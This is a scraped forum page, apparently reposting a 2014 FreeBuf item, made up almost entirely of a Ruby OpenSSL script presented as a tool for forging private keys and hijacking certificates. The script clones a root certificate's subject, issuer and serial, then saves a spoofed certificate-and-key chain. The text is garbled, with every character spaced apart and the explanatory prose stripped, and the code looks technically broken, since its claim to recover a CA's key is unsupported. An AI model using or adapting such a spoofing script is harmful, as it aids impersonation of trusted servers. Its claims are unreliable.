[7976] 2014-04-22_RubyOpenSSL私钥伪造脚本

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-17
2014-04-22_RubyOpenSSL私钥伪造脚本 R u b y   O p e n S S L     F r e e B u f   2 0 1 4 - 0 4 - 2 2 o p e n s s l   h e a r t b l e e d     O p e n S S L   h t t p s     o p e n v p n   o p e n s s h   s f t p   h t t p s       R u b y   O p e n S S L   r e q u i r e   ' r u b y g e m s ' r e q u i r e   ' o p e n s s l ' r e q u i r e   ' d i g e s t / m d 5 ' k e y   =   O p e n S S L : : P K e y : : R S A . n e w ( 2 0 4 8 ) c i p h e r   =   O p e n S S L : : C i p h e r : : A E S . n e w ( 2 5 6 ,   : C B C ) c t x   =   O p e n S S L : : S S L : : S S L C o n t e x t . n e w p u t s   " S p o o f   m u s t   b e   i n   D E R   f o r m a t   a n d   s a v e d   a s   r o o t . c e r " r a w   =   F i l e . r e a d   " r o o t . c e r " c e r t   =   O p e n S S L : : X 5 0 9 : : C e r t i f i c a t e . n e w   r a w c e r t . v e r s i o n   =   2 e f   =   O p e n S S L : : X 5 0 9 : : E x t e n s i o n F a c t o r y . n e w e f . i s s u e r _ c e r t i f i c a t e   =   O p e n S S L : : X 5 0 9 : : C e r t i f i c a t e . n e w   r a w c e r t . s u b j e c t   =   e f . i s s u e r _ c e r t i f i c a t e . s u b j e c t e f . s u b j e c t _ c e r t i f i c a t e   =   e f . i s s u e r _ c e r t i f i c a t e c e r t . i s s u e r   =   e f . i s s u e r _ c e r t i f i c a t e . i s s u e r c e r t . s e r i a l   =   e f . i s s u e r _ c e r t i f i c a t e . s e r i a l c t x . k e y   =   e f . i s s u e r _ c e r t i f i c a t e . p u b l i c _ k e y c e r t . p u b l i c _ k e y   =   e f . i s s u e r _ c e r t i f i c a t e . p u b l i c _ k e y c e r t . n o t _ a f t e r   =   e f . i s s u e r _ c e r t i f i c a t e . n o t _ a f t e r c e r t . n o t _ b e f o r e   =   e f . i s s u e r _ c e r t i f i c a t e . n o t _ b e f o r e c e r t . e x t e n s i o n s   =   e f . i s s u e r _ c e r t i f i c a t e . e x t e n s i o n s a   =   F i l e . o p e n ( " r o o t " " . k e y " ,   " w " ) a . s y s w r i t e ( " # { c e r t . p u b l i c _ k e y } " ) a . s y s w r i t e ( " # { k e y . t o _ p e m } " ) s p o o f   =   O p e n S S L : : P K e y : : R S A . n e w   F i l e . r e a d   ' r o o t . k e y ' p r i n t f   " V e r i f y i n g   K e y s   W o r k :   " p u t s   s p o o f . p r i v a t e ? c t x . c e r t   =   e f . i s s u e r _ c e r t i f i c a t e p u t s   " = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = " r o o t   =   e f . i s s u e r _ c e r t i f i c a t e . s i g n ( s p o o f ,   O p e n S S L : : D i g e s t : : S H A 1 . n e w ) f i l e r   =   F i l e . o p e n ( " # { c e r t . s e r i a l } " " . k e y " ,   " w " ) f i l e r . s y s w r i t e ( " # { s p o o f . t o _ p e m } " ) f i l e   =   F i l e . o p e n ( " s p o o f " " . c e r " ,   " w " ) f i l e . s y s w r i t e ( " # { c e r t . t o _ d e r } " ) f i l e s   =   F i l e . o p e n ( " # { c e r t . s e r i a l } " " . p e m " ,   " w " ) f i l e s . s y s w r i t e ( " # { c e r t . t o _ p e m } " ) f i l e s . s y s w r i t e ( " # { s p o o f . t o _ p e m } " )
p u t s   " H i j a c k e d   C e r t i f i c a t e   w i t h   c h a i n l o a d e d   k e y   s a v e d   @   # { c e r t . s e r i a l } . p e m " p r i n t f   " V e r i f y i n g   K e y s   I n t e r g i t y :   " p u t s   r o o t . v e r i f y ( k e y ) [ V i a   h t t p : / / w w w . p a s t e b i n . c o m / S Q Q X e A m F ]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则